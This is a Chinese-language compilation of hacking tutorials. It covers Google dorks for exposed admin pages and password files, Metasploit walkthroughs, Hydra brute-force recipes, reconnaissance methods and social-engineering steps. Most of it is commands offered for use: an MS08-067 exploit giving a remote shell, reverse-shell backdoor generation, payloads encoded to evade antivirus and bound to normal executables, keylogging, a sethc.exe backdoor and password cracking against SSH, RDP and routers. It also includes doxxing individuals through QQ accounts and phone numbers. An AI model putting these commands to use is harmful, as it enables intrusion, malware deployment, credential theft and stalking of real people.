intitle:后台登录 密码 //将返回标题中包含 后台登录 而正文中包含 密码 的网页allintitle: 用法和 intitle 类似,只不过可以指定多个词。
示例: allintitle:后台登录 管理员 //将返回标题中包含 后台登录 和 管理员 的网页
inurl:将返回url中含有关键词的网页。
示例:inurl:Login // 将返回url中含有 Login 的网页
inurl:/admin/login.php // 查找管理员登录页面
inurl:/phpmyadmin/index.php // 查找后台数据库管理页面用的最多的就是 inurl: 了,利用这个命令,可以查到很多意想不到的东西
- 查询 allinurl:winnt/system32/ 列出的服务器上本来应该受限制的诸如“system32” 等目录,如果你运气足够好,你会发现“system32” 目录里的“cmd.exe” 文件,并能执行他,接下来就是提升权限并攻克了。
- 查询 allinurl:wwwboard/passwd.txt 将列出所有有“WWWBoard Password vulnerability”漏洞的服务器。
- 查询 inurl:.bash_history 将列出互联网上可以看见 " inurl:.bash_history " 文件的服务器。这是一个命令历史文件,这个文件包含了管理员执行的命令,有时会包含一些敏感信息比如管理员键入的密码。
- 查询 inurl:config.txt 将看见网上暴露了 " inurl:config.txt " 文件的服务器,这个文件包含了经过哈希编码的管理员的密码和数据库存取的关键信息。
allinurl: 用法和 inurl 类似,只不过可以指定多个词。
示例:allinurl:Login admin // 将返回 url 中含有 Login 和 admin 的网页其他一些使用 "inurl:" 和 "allinurl:" 查询组合的例子
inurl:admin filetype:txt
inurl:admin filetype:db
inurl:admin filetype:cfg
inurl:mysql filetype:cfg
inurl:passwd filetype:txt
inurl:”wwwroot/*.”
inurl:adpassword.txt
inurl:webeditor.php
inurl:file_upload.php
inurl:gov filetype:xls “restricted”
index of ftp +.mdb allinurl:/cgi-bin/ +mailto查找有可能存在SQL注入的网站
inurl:id=1site: 指定访问的站点,
示例: site:http://www.baidu.com inurl:Login // 将只在 http://www.baidu.com 中查找url中含有 Login的网页filetype: 指定访问的文件类型。
示例:site:http://www.baidu.com filetype:pdf // 将只返回 http://www.baidu.com 站点上文件类型为pdf的网页link: 指定链接的网页。
示例:link:http://www.baidu.com // 将返回所有包含指向 http://www.baidu.com 的网页related: 相似类型的网页。
示例:related:http://www.xjtu.edu.cn // 将返回与 http://www.xjtu.edu.cn 相似的页面,相似指的是网页的布局相似cache: 网页快照,谷歌将返回给你他存储下来的历史页面,如果你同时制定了其他查询词,将在搜索结果里以高亮显示。
示例:cache:http://www.hackingspirits.com guest // 将返回指定网站的缓存,并且正文中含有guestinfo: 返回站点的指定信息。
示例:info:http://www.baidu.com // 将返回百度的一些信息define: 返回某个词语的定义。
示例:define:Hacker // 将返回关于Hacker的定义phonebook: 电话簿查询美国街道地址和电话号码信息。
示例:phonebook:Lisa+CA // 将返回名字里面包含Lisa并住在加州的人的所有名字查找网站后台
site:http://xx.com intext:管理
site:http://xx.com inurl:login
site:http://xx.com intitle:后台查看服务器使用的程序
site:http://xx.com filetype:asp
site:http://xx.com filetype:php
site:http://xx.com filetype:jsp
site:http://xx.com filetype:aspx查看上传漏洞
site:http://xx.com inurl:file
site:http://xx.com inurl:loadIndex of 语法可以去发现允许目录浏览的 web 网站,就像在本地的普通目录一样。
下面是一些有趣的查询:
index of /admin
index of /passwd
index of /password
index of /mail
"index of /" +passwd
"index of /" +password.txt
"index of /" +.htaccess
"index of /root"
"index of /cgi-bin"
"index of /logs"
"index of /config"
网络上公布的付费的或者免费的漏洞扫描工具、脚本多种多样。
Weblogic 是 命令行 一键漏洞检测工具。 github:https://github.com/search?q=weblog
wpscan github:https://github.com/wpscanteam/wpscan
dedecmscan github:https://github.com/zjacai/dedecmscan
最流行、最好用的 UNIX 漏洞扫描工具。Nessus 号称是世界上最流行的漏洞扫描程序,全世界有超过75000个组织在使用它。该工具提供完整的电脑漏洞扫描服务,并随时更新其漏洞数据库。Nessus 不同于传统的漏洞扫描软件,Nessus 可同时在本机或远端上遥控,进行系统的漏洞分析扫描。Nessus也是渗透测试重要工具之
黑客工具之Nessus详细使用教程:https://zhuanlan.zhihu.com/p/395459622
这是 OWASP 出品的一款安全测试工具,可扫描SQL注入、XSS、目录遍历的安全隐患。(kali 内置)使用方法很简单,直接填上域名自动扫描即可。
Acunetix Web Vulnerability Scanner( 简称 AWVS )是一款知名的网络漏洞扫描工具,它通过网络爬虫测试你的网站安全,检测流行安全漏洞。从 11.0 版本开始,AWVS 就变成了使用浏览器打开的形式,使用安装时自定义的端口来访问
官网:https://www.acunetix.com/product/
下载地址:https://www.acunetix.com/download
汉化版 Awvs 安装与简单使用:https://zhuanlan.zhihu.com/p/533148976
awvs 安装、使用:https://www.jianshu.com/p/228b6a5c4917
Awvs 详细使用教程:https://blog.csdn.net/difination/article/details/122977125
AppScan 是 IBM 的一款web安全扫描工具,可以利用爬虫技术进行网站安全渗透测试,根据网站入口自动对网页链接进行安全扫描,扫描之后会提供扫描报告和修复建议等。AppScan 在扫描开始之前会让选择报告存放位置。
黑客工具之AppScan详细使用教程:https://zhuanlan.zhihu.com/p/396532847
官网:https://w3af.org/
w3af 使用:https://www.kancloud.cn/wintry/p-tools/598530
W3af 安装与基本应用(windows10版):https://blog.csdn.net/weixin_43817670/article/details/106615466W3af 的核心代码和插件是完全用 Python 编写的,也是一款非常强大的扫描工具,扫描漏洞的能力也是非常的强,缺点就是他不会自动爬取子域。
w3af 用户手册:https://wenku.baidu.com/view/ceac7fafa417866fb94a8e5e.html?_wkts_=1673287715223
Burpsuite 也是一款渗透神器,很多大牛小菜都在用。
Fiddler 也是很强大、很好用的 Web 调试工具。
跟 fiddler 一样。
非常有名的抓包工具。网络协议分析利器。
抓包获取QQ好友IP地址的例子吧!
1.打开 wireshark 开始抓包
2.给 QQ 好友打语音或视频电话(对方不用接通,在线就行)
3.Ctrl + F 键进行搜索
- 1,选择搜索 “字符串”;
- 2,选择搜索 “分组详情”;
- 3,填写搜索数据 “020048″; 020048就是 QQ UDP 72字节的报文头
如下图,IP 已出
神器,可以黑掉整个地球。。。
网络服务渗透攻击面
Windows 平台根据网络服务攻击面的类别来分,可分为三大类
如何使用攻击载荷模块
端口扫描
use auxiliary/scanner/smb/smb_version
show optionsset RHOSTS 192.168.1-200
// 可以设置单个IP或者范围,set THREADS 10 //设置线程
服务识别
use auxiliary/scanner/ssh/ssh_version
show optionsset RHOSTS 192.168.0.10
//设置多个ip 192.168.0.11 192.168.0.55run
密码嗅探
use auxiliary/sniffer/psnufflerun //可以嗅探FTP
SNMP 扫描与枚举
- search SNMP
- use auxiliary/scanner/snmp/snmp_login
- show options
- set RHOSTS *
枚举
- use auxiliary/scanner/snmp/snmp_enumset RHOST *
- set THREADS 10
- run
SMB 登录验证
- use auxiliary/scanner/smb/smb_lo
- show options
- set RHOSTS *
- set SMBuser administrator
- set THREADS 10
- run
VNC 身份认证
- use auxiliary/scanner/vnc/vnc_none_auth
- show options
- set RHOSTS *
- set THREADS 50
- run
WMAP ( 轻量级测试工具,检测常见的Web漏洞 )
- service postgresql start //先启动数据库
- msfconsole // 再启动msf
- db_status // msf下输入,查看数据库状态 msfdb init可以初始化数据库
- load wmap // 载入wmap
- wmap_targets -h // 查看帮助
- wmap_sites -a http://www.51xkx.cn // 添加URL
- wmap_sites -l // 查看配置的URL
- wmap_targets -t http://121.42.88.105 // 添加url对应的IP
- wmap_targets -l // 查看是否写入成功
- wmap_run -h // 查看运行选项
- wmap_run -t // 选择运行方式,加载
- wmap_run -e // 开始测试
- wmap_vulns -l // 扫描完成后查看结果
远程代码执行
- search 08-067 (Win 2003、xp)
- use exploit/windows/smb/ms08_067_netapi
- show options
- set RHOST *
- show payloads //查看可用攻击载荷
- set payload windows/meterpreter/reverse_tcp
- show optionsset LHOST * // 设置本机IP,如果是攻击外网,本身必须是外网ip
- info 或者show targets // 查看系统版本信息
- set target 17 // 设置目标版本信息 (只有08-067不能自动识别版本号,其他的可以自动获取)
- show options // 检查设置
- exploit // 开始攻击
- shell // 获取目标cmd-shell
MIDI 文件解析远程代码执行
- 影响范围 win2003、winxp、win7
- search 12-004
- use exploit /windows/browser/ms12_004_midi
- show options
- set SRVHOST * // 设置本机IP
- set URIPATH / // 把网址后缀改成'/'
- exploit // start exploit
- sessions // 查看会话
- sessions -i 1 // 连接会话
- shell // 连接shell
口令安全
- search mysql_login // 搜索 mysql 登录破解利用模块,ssh 等可以登陆的也行
- use auxiliary/scanner/mysql/mysql_login
- show options
- set RHOSTS 127.0.0.1*
- set USERNAME root
- set PASS_FILE /root/1.txt
- set THREADS 50
- exploit
Hash 值传递渗透
NDProxy 内核提权
获取 meterpreter 情况下,权限小,用这个洞来提升权限
- search 14-002
- use exploit/windows/local/ms_ndproxy
- show options
- set session 1 // 选择会话
- exploit
- getuid // 查看当前权限
- getsystem // 这个命令也可以用来提取
多种后门生成
metasploit 可以生成多钟后门
- windows
- Linux msfpayload linux/x86/shell_reverse_tcp LHOST=* LPORT=* x>linux
- Java msfpayload java/meterpreter/reverse_tvp LHOST=* LPORT=* w>123.jar
- php
- (msfpayload php/meterpreter/reverse_tcp LHOST=* LPORT=* R | msfencode -e php/base64 -t raw -o 123.php)
- asp
- aspx
- Android
- msfpayload android/meterpreter/reverse_tcp LHOST=* LPORT=* R >1.apk
- 完整过程
- msfpayload windows/meterpreter/reverse_tcp LHOST=本地ip LPORT=1234 x >123.exe
- //生成windows后门攻击载荷
- ls //查看生成后门所在当前文件夹在
- msf监听
- search handler
- use exploit/multi/handler
- show options
- set payload windows/meterpreter/reverse_tcp
- set LHOST *
- set LPORT 1234
- exploit
- 目标运行后门后,会反弹shell
内网渗透
获得shell之后需要对C段进行一次扫描
- meterpreter>run get_local_subnets // 获取网卡
- run autoroute -s 192.168.48.0/24 // 扫描整个C段
- 在 shell 中执行,net view 查看域
- 若有域控在 meterpreter 劫持它的域管理
- use incognito // 调用模块
- list_tokens -u // 查看它都有什么域
- impersonate_token 域管理
- shell // 获得域管理的shell
如果没有域管理
use auxiliary/sniffer/psnufflerun //嗅探登录密码 FTP
免杀 payload
免杀例子
加壳、改壳、花指令、源码免杀、改特征码
首先还是先生成一个后门
- msfpayload windows/shell/reverse_tcp LHOST= * LPORT= * R | msfencode -e x86
-
- /shikata_ga_nai -t exe >123.exe
-
- //可以多种编码效果更好
-
- msfencode -l //查看有多少可用编码
-
- msfpayload windows/shell/reverse_tcp LHOST= * LPORT= * R | msfencode -e
-
- x86/shikata_ga_nai -c 8 -t raw | msfencode -e x86/countdown -c 6 -t exe -o /666.exe
-
- //多次编码
-
- msfpayload windows/shell/reverse_tcp LHOST= * LPORT= * R | msfencode
-
- -t exe -x /root/正常.exe -o 1213.exe -e x86/shikata_ga_nai -k -c 20
-
- //绑定正常的文件
多种编码 + 多次编码 + 绑定正常的可执行程序
玩转不一样的 XSS
- search keylogger // 搜索相关模块
- use ....javascript_keylogger 那个模块
- show options
- set DEMO true // 启用官方的DEMO
- set URIPATH / // 伪装url
- set srvport 80 // 设置服务端口80
- run
类似钓鱼网站,记录键盘,感觉没什么卵用
维持访问(种植后门)
- meterpreter>run metsvc -A // 种植后门
- msf>use exploit/multi/handler
- set payload windows/metsvc_bind_tcp
- show options
- set LPORT 生成后门的端口
- set RHOST *
- exploit
主动连接到 shell,在服务器上才行
第二种方法,键盘记录后门
- meterpreter>keyscan_start // 开启键盘记录
- meterpreter>keyscan_dump // 查看键盘记录结果
第三种shift后门
- meterpreter>shell
- CD C:\windows\system32
- cacls sethc.exe /t /e /G Administrators:f
- cacls cmd.exe /t /e /G Administrators:f
- ren sethc.exe aaa.exe
- ren cmd.exe sethc.exe
使用 Metasploit 创建反向 shell
sql 注入神器。。。
BeEF 是浏览器攻击框架的简称,是一款专注于浏览器端的渗透测试工具。
中国剑蚁,跨平台版的 中国菜刀。
前端渗透工具
火狐浏览器插件
HashCat主要分为三个版本:Hashcat、oclHashcat-plus、oclHashcat-lite。这三个版本的主要区别是:HashCat只支持CPU破解。oclHashcat-plus支持使用GPU破解多个HASH,并且支持的算法高达77种。oclHashcat-lite只支持使用GPU对单个HASH进行破解,支持的HASH种类仅有32种,但是对算法进行了优化,可以达到GPU破解的最高速度。。如果只有单个密文进行破解的话,推荐使用oclHashCat-lite。
黑客工具之 Hashcat 详解:https://zhuanlan.zhihu.com/p/401363280
github:https://github.com/vanhauser-thc/thc-hydra
Hydra 被称为爆破利器,kali 中内置。
用法:hydra <参数> <IP地址> <服务名>
hydra 部分参数:( hydra 的参数是区分大小写的 )
实例:hydra -l root -P /tmp/pass.txt -t 4 -v 192.168.57.101 ssh // 爆破ssh登录密码
Hydra 是一个 猜测(破解) 有效登录名(密码对) 的非常强大的暴力破解工具。它是由著名的黑客组织THC开发的一款开源暴力破解工具。Hydra 是一个验证性质的工具,主要目的是:展示安全研究人员从远程获取一个系统认证权限
Hydra 可以破解在线密码,比如 SSH 或FTP登录、IMAP、IRC、RDP等。还可以指定密码字典进行破解。诸如 Hydra 之类的工具会提醒我们,为什么限制密码尝试的次数,以及在少量登录尝试后断开用户连接可以成功减轻攻击者的防御能力。
支持的服务:adam6500 asterisk cisco cisco-enablecobaltstrike cvs firebird ftp[s] http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap [s] irc ldap2[s] ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp
相关使用:
用法:hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT][/OPT]]
参数
- 选项:
- -R 恢复爆破(如果破解中断,下次执行 hydra -R /path/to/hydra.restore 可以继续任务)
- -I 忽略存在的文件(不要等待 10 秒)
- -S 指定爆破时使用 SSL 链接
- -s PORT 指定端口,适用于攻击目标端口非默认的情况。例如http服务使用非80端口
- -l LOGIN 或 -L FILE 小写L指定用户名进行破解。大写L 指定用户名字典进行破解
- -p PASS 或 -P FILE 小写P指定密码进行破解,很少使用。大写P指定密码字典进行破解(最常用)
- -x MIN:MAX:CHARSET 生成密码字典,输入 "-x -h" 获取帮助
- -y 禁止在暴力破解中使用符号,见上文
- -r 对选项 -x 使用非随机洗牌方法
- -e nsr n:空密码试探。s:使用指定账户和密码试探尝试。r:反向登录
- -u 知道密码时,只循环用户。(有效!隐含在 -x 中)
- -C FILE 冒号分隔的 login:pass 字典文件。而不是 -L/-P 选项
- -M FILE 指定目标 ip 列表文件,批量破解。
- 注意:目标列表文件存储格式必须为 "地址:端口"
- -o FILE 将找到的登录名/密码对写入 FILE 而不是 stdout
- -b FORMAT 指定 -o FILE 的格式:text(default), json, jsonv1
- -f / -F 只要爆破成功一个就停止爆破(-M:-f 每个主机,-F 全局)
- -t TASKS 指定爆破时的任务数量(可以理解为线程数),默认为16
- -T TASKS 整体并行运行的 TASKS 数 (对于 -M,默认值:64)
- -w / -W time 响应等待时间 (32) / 每个线程之间的连接 (0)
- -c TIME 在所有线程上每次登录尝试的等待时间(强制 -t 1)
- -4 / -6 使用 IPv4(默认)/ IPv6 地址(总是放在 [] 中也放在 -M 中)
- -v / -V / -d 详细模式 / 每次尝试显示登录+通过 / 调试模式
- -O 使用旧的 SSL v2 和 v3
- -K 不重做失败的尝试(有利于 -M 大规模扫描)
- -q 不打印有关连接错误的消息
- -U 服务模块使用详情
- -m 特定于模块的 OPT 选项,有关信息,请参阅 -U 输出
- -h 更多命令行选项(完整帮助)
- server 代表要攻击的目标(单个),多个目标时请使用 -M 参数。目标:DNS、IP 或 192.168.0.0/24
- service 要破解的服务(有关支持的协议,请参见下文)。
- 例如 http,在hydra中,不同协议会使用不同的模块来爆破,
- hydra 的http-get 和 http-post 模块就用来爆破基于 get 和 post 请求的页面
- OPT 爆破模块的额外参数,可以使用 -U 参数来查看模块支持那些参数。
- 例如命令:hydra -U http-get
-
-
- 使用 HYDRA_PROXY_HTTP 或 HYDRA_PROXY 环境变量进行代理设置。
- 例如。
- % export HYDRA_PROXY=socks5://l:p@127.0.0.1:9150(或:socks4://connect://)
- % export HYDRA_PROXY=connect_and_socks_proxylist.txt(最多 64 个条目)
- % 导出 HYDRA_PROXY_HTTP=http://login:pass@proxy:8080
- % export HYDRA_PROXY_HTTP=proxylist.txt(最多 64 个条目)
-
- 例子:
- hydra -l user -P passlist.txt ftp://192.168.0.1
- hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
- hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
- hydra -l admin -p password ftp://[192.168.0.0/24]/
- hydra -L logins.txt -P pws.txt -M targets.txt ssh
常用参数
注意:
示例:hydra -L user.txt -P password.txt -t 2 -vV -e ns 192.168.154.131 ssh
破解 ssh
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh
hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh
hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh破解 ftp
hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
hydra -L 用户名字典 -P 密码字典 -t 6 -e ns IP地址 -vget 方式提交,破解 web 登录:
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php
hydra -L 用户名字典 -P 密码字典 -t 线程 -v -e ns IP地址 http-get /admin/
hydra -L 用户名字典 -P 密码字典 -t 线程 -v -e ns -f IP地址 http-get /admin/index.phppost 方式提交,破解 web 登录
hydra -f -l 用户名 -P 密码字典 -V -s 9900 IP地址 http-post-form "/admin/index.php?action=login:user=USER&pw=PASS:"
hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"
hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:<title>wrong username or password</title>"
参数说明:
- # /index.php …这个是登录的 url
- # 后门是 POST 的数据 其中的用户名密码使用 USER PASS 来代替
- # 然后是如果登录出错 会出现的字符 。。。然后开始破解
- -t 同时线程数3
- -l 用户名是admin,字典pass.txt,保存为out.txt,
- -f 当破解了一个密码就停止,
- 目标ip 10.36.16.18
- http-post-form 表示破解是采用 http 的 post 方式提交的表单密码破解,
破解 https
hydra -m /index.php -l 用户名 -P 密码字典.txt IP地址 https
hydra -m /index.php -l muts -P pass.txt IP https
hydra -m /index.php -l username -P pass.txt IP https破解 语音通讯工具teamspeak
hydra -l 用户名字典 -P 密码字典.txt -s 端口号 -vV ip teamspeak
hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak破解cisco
hydra -P 密码字典 IP地址 cisco
hydra -m cloud -P 密码字典 IP地址 cisco-enable
hydra -P pass.txt IP cisco
hydra -m cloud -P pass.txt IP cisco-enable破解 smb
hydra -l 用户名字典 -P 密码字典 IP地址 smb
hydra -l administrator -P pass.txt 10.36.16.18 smb破解 pop3
hydra -l 用户名 -P 密码字典.txt my.pop3.mail pop3
hydra -l muts -P pass.txt my.pop3.mail pop3破解 rdp ( 远程桌面 )
hydra ip地址 rdp -l administrator -P 密码字典.txt -V
hydra ip rdp -l administrator -P pass.txt -V破解 http-proxy
hydra -l admin -P 字典.txt http-proxy://IP地址
hydra -l admin -P pass.txt http-proxy://IP破解 imap
hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN破解 telnet
hydra ip地址 telnet -l 用户字典.txt -P 密码字典.txt -t 32 -s 23 -e ns -f -V
hydra IP telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V爆破 mysql
hydra -l root -P /root/pentest/passwd.txt mysql://192.168.0.100 -f -o /root/pentest/mysql.txt -V其他
oracle
hydra -P /root/passwd oracle://192.168.0.100 -f -o /root/oracle.txt –v
redis
hydra -P /root/passlist.txt -e nsr -t 16 192.168.0.101 redis
postgresql
hydra -P /root/passlist.txt -e nsr -t 16 192.168.0.101 postgresql
路由器破解
hydra -l admin -x 6:10:1a.~!@#$%^&()-= -t 8 192.168.1.1 http-get /
- -l admin 为尝试破解的用户名。
- # -x 6:10:1a. 表示枚举的密码由 数字、小写字母和单字符’.'等等组成,长度为 6 - 10 位。-t 8 表示分 8 个并行任务进行爆破尝试。192.168.1.1 为 Router 地址。http-get 为破解方式(协议)
在 kali 命令行中输入 xhydra 即可开启
暴力破解能成功最重要的条件还是要有一个强大的密码字典!Kali默认自带了一些字典,在 /usr/share/wordlists 目录下
dirb
big.txt #大的字典
small.txt #小的字典
catala.txt #项目配置字典
common.txt #公共字典
euskera.txt #数据目录字典
extensions_common.txt #常用文件扩展名字典
indexes.txt #首页字典
mutations_common.txt #备份扩展名
spanish.txt #方法名或库目录
others #扩展目录,默认用户名等
stress #压力测试
vulns #漏洞测试dirbuster
apache-user-enum-** #apache用户枚举
directories.jbrofuzz #目录枚举
directory-list-1.0.txt #目录列表大,中,小 big,medium,smallfern-wifi
common.txt #公共wifi账户密码metasploit下有各种类型的字典
wfuzz 模糊测试,各种字典
一款强大的、简单的以及支持多平台的密码哈希破解器。这个密码破解程序是开源的,用于离线密码破解。John 可以使用一组可能的密码,并对它们进行变更,将“a”替换为“@”,将“s”替换为“5”,以此类推。或者它可以使用强大的硬件无限次运行,直到找到密码为止。考虑到绝大多数人使用的是简单的短密码,John通常能成功破解加密。
一个基于Live Linux环境下的预置了Web渗透测试的系统,同时也包含了多款优秀的开源和免费测试工具。这个发行版主要关注对网站的攻击,它使用最好的免费开源的工具攻击和入侵网站。开发者已经把包括侦查、映射、探索和利用的攻击的4个步骤都集成到了发行版中。
官网:https://www.inguardians.com/
一个强大的 Web 应用程序安全测试环境,由底层向上提供了自动和手动的脆弱性测试技术的最佳组合。
GitHub 链接:https://github.com/gchq/CyberChef
CyberChef 是英国情报机构政府通信总部(GCHQ)发布了一款新型的开源 Web 工具,为安全从业人员分析和解密数据提供了方便。
GCHQ 在 GitHub 主页上是这么定位 CyberChef 的:CyberChef 是一个简单、直观的web应用程序,用于在web浏览器中执行各种网络操作。这些操作包括简单的编码(如XOR或Base64)、更复杂的加密(如AES、DES和Blowfish)、创建二进制文件和hexdump、数据的压缩和解压缩、计算散列和校验和、IPv6和X.509解析、更改字符编码等。
CyberChef 是一个Web工具,直接访问:https://gchq.github.io/CyberChef/ 即可使用。右上角 About/Support 可以查看一些常见问题和解答。例如该工具的功能:
解码 Base64 编码的字符串
将日期和时间转换为不同的时区
解析 Teredo IPv6 地址
从 hexdump 转换数据,然后解压缩
解密和反汇编 shellcode
将多个时间戳显示为完整日期
对不同类型的数据进行不同的操作
使用部分输入作为操作的参数
主区域有四个窗口,分别是 Operations、Recipe、Input、Output
以 MD5 编码为例:Operations ---> Hashing ---> "双击 MD5" ,Recipe 不需要,然后在 Input 中输入要编码的数据,Output 中就出现了结果
From:https://zhuanlan.zhihu.com/p/413574450
知识面,决定看到的攻击面有多广。
知识链,决定发动的杀伤链有多深。
从旁观者的角度了解整个 WEB 应用乃至整个目标的全貌,但是资产是收集不完的,可以边收集,边进行一定程度的测试。信息收集最小的粒度应是目录。
1.1 域名注册信息
通过如下步骤确认目标所有者信息:
Whois 目标域名/主机名:whois http://example.com
解析目标域名/主机名的IP地址:dig +short http://example.com
获取域名的详细解析过程:dig +trace http://example.com
后续用于字典制作和进一步收集目标信息的基础
获取真实 IP:
浏览器切换手机模式,可能是真实ip,公众号、小程序中的资产也可能对应真实ip。
验证是否存在 CDN
方法1:
使用各种多地 ping 的服务,查看对应 IP 地址是否唯一,如果不唯一多半是使用了CDN, 多地 Ping 网站有:
http://ping.chinaz.com/
http://ping.aizhan.com/
http://ce.cloud.360.cn/
方法2:
试用 nslookup 进行检测,如果返回域名解析对应多个IP,那么多半是试用了CDN.
nslookup http://example.com
方法3:
在线工具查看是否存在CDN,可以参考以下站点:
http://www.cdnplanet.com/tools/cdnfinder
http://www.ipip.net/ip.html
绕过 CDN 查找网站真实IP
1.查询历史DNS记录(ip的历史解析域名,域名的历史解析ip)
查看 IP 与 域名绑定的历史记录,可能会存在使用 CDN 前的记录,相关查询网站有:
https://dnsdb.io/zh-cn/
https://x.threatbook.cn/
https://censys.io/ipv4?q=baidu.com
非常牛逼的IP记录站,还能分析内链之类找出可能的IP地址,此外还会记录历史。
http://viewdns.info
同样是个令站长十分蛋疼的DNS历史记录网站,记录了几年内的更改记录。
http://securitytrails.com
https://site.ip138.com/
庞大的DNS历史数据库,可以查出几年内网站用过的IP、机房信息等。
http://iphostinfo.com
注意:这个网站可以遍历FTP、MX记录和常见二级域名,有些站长喜欢把邮箱服务也放在自己主机上,侧面泄露了真实的IP地址,通过这个网站可以进行检查。
2.查询子域名(捷径,去众测平台、github找官方发布过的)
注意:有可能有些站长只给主站或流量大的子域名做了CDN,而很多子域名都是和主站在同一台服务器上,或者 C段中,这样可以通过子域名来辅助找到网站真实IP
爆破子域名:
主动式
layer子域名挖掘机(字典要自己丰富)
http://z.zcjun.com/(在线子域名挖掘)
fuzzdomain 很好用,速度快
被动式
搜索引擎拿子域名、旁站(同IP网站)、C段:
可用搜索引擎语法查询子域名:
谷歌、百度、bing、搜狗(搜索微信文章)、雅虎等略有差异
详细用法:
(1)site: =主域名,搜索其主要域名下面的子域名
(2)allintext: = 搜索文本,但不包括网页标题和链接
(3)allinlinks: = 搜索链接, 不包括文本和标题。
(4)related:URL = 列出于目标URL地址有关的网页。
(5)link:URL = 列出到链接到目标URL的网页清单。
(6)使用“-”去掉不想看的结果,例如site:http://baidu.com http://-image.baidu.com
百度语法:
https://www.cnblogs.com/k0xx/p/12794452.html
谷歌语法:https://blog.csdn.net/u012991692/article/details/82937100?biz_id=102&utm_term=Googlehack&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-0-82937100&spm=1018.2118.3001.4187
GHDB:
https://www.exploit-db.com/google-hacking-database
3.资产搜索(旁站\C段\特征):
https://www.shodan.io(资产相关或特征值关键字爆ip)
https://fofa.so
https://www.zoomeye.org/
http://www.yunsee.cn/info.html (云悉在线资产平台)
http://subdomain.chaxun.la (查询啦)
https://www.virustotal.com/gui/home/search
https://dnsdumpster.com/
https://duckduckgo.com (一个不会存储你个人信息的搜索引擎)
https://crt.sh/(SSL证书查询)
https://icp.aizhan.com/(域名备案)
4.对方服务器给自己发邮件暴露IP
5.APP客户端爆ip
1.2 DNS信息查询
目的:
注册者名称及邮箱,再反查其他域名
手机号 座机号
ASN号
地址在线DNS信息查询工具
https://dnsdumpster.com/
https://www.dnsdb.io (DNS搜索引擎)
http://searchdns.netcraft.com
http://whois.nawang.cn/
https://whois.aliyun.com/
https://whois.west.cn/
http://whois.chinaz.com/ (站长之家)
https://www.tianyancha.com/ (天眼查)
http://www.gsxt.gov.cn/index.html (国家企业信用信息系统)
http://www.beianbeian.com/ (ICP备案查询)
1.3测试域传送漏洞
域传送是一种DNS事务,用于在主从服务器间复制DNS记录。虽然如今已经很少见主机会开启,但是还是应该确认一下。一旦存在域传送漏洞,就意味着你获取了整个域下面所有的记录。
dnsrecon -d http://example.com
dnsenum http://example.com 包含自动检测域传送漏洞
dnsenum还能爆破子域名,功能比较多,详见:
https://blog.csdn.net/weixin_43263851/article/details/108955964
1.4业务相关
github泄露:
in:name test #仓库标题搜索含有关键字 SpringCloud
in:descripton test #仓库描述搜索含有关键字
in:readme test #Readme文件搜素含有关键字
stars:>3000 test #stars数量大于3000的搜索关键字
stars:1000..3000 test #stars数量大于1000小于3000的搜索关键字
forks:>1000 test #forks数量大于1000的搜索关键字
forks:1000..3000 test #forks数量大于1000小于3000的搜索关键字
size:>=5000 test #指定仓库大于5000k(5M)的搜索关键字
pushed:>2019-02-12 test #发布时间大于 2019-02-12的搜索关键字
created:>2019-02-12 test #创建时间大于2019-02-12的搜索关键字
user:test #用户名搜素
license:apache-2.0 test #明确仓库的 LICENSE 搜索关键字
language:java test #在java语言的代码中搜索关键字
user:test in:name test #组合搜索,用户名test的标题含有test的
网盘泄露:
各种云网盘,详见虫部落搜索:
http://magnet.chongbuluo.com
敏感路径扫描:
https://github.com/ring04h/weakfilescan
2.1社工技巧
查看注册的网站:0xreg reg007
知道账号去已注册的网站找回密码,可以看到打码后的用户名、邮箱、真实姓名等信息,如果运气好没准能从数据包或html中找到未被打码的信息
可以从这些方面判断用户是否注册过
找回密码
输入账号,如果进入下一步了则该账号存在
登录
输入账号和密码,如果提示密码错误,则表示该用户已存在
注册
填写账号时一般网站会去检测该账号是否已存在,如果已存在则会提示不可重复注册
知道QQ
通过QQ邮箱和QQ号搜索支付宝、淘宝账号等其他可能的常用平台
去腾讯\新浪微博搜索
通过微信搜索
查看QQ空间\相册\地区\星座\生日\昵称(后续构建字典以及跨平台搜集)
通过说说、留言、日志找到其好友
加QQ钓鱼\共同好友\可能认识的人
知道手机号
搜索QQ、微信、钉钉等社交账号
在比较火的一些APP和网站上注册或忘记密码来判断是否注册过账号
查询支付宝、QQ交易账号,尝试输入常见姓氏获取名字(转账到该手机号,会提示输入姓氏验证)
通过对方的职业、兴趣找到该领域知名度较高的社交网站反查
根据在QQ空间、朋友圈等动态用百度识图识别照片
在微博、ins、Twitter、fb、百度贴吧搜索相近关键字,按地域、年龄、男女、用户名等筛选
留意社交动态
发布时间线
使用什么客户端 iPhone Android还是浏览器
针对客户端预先制定exploit
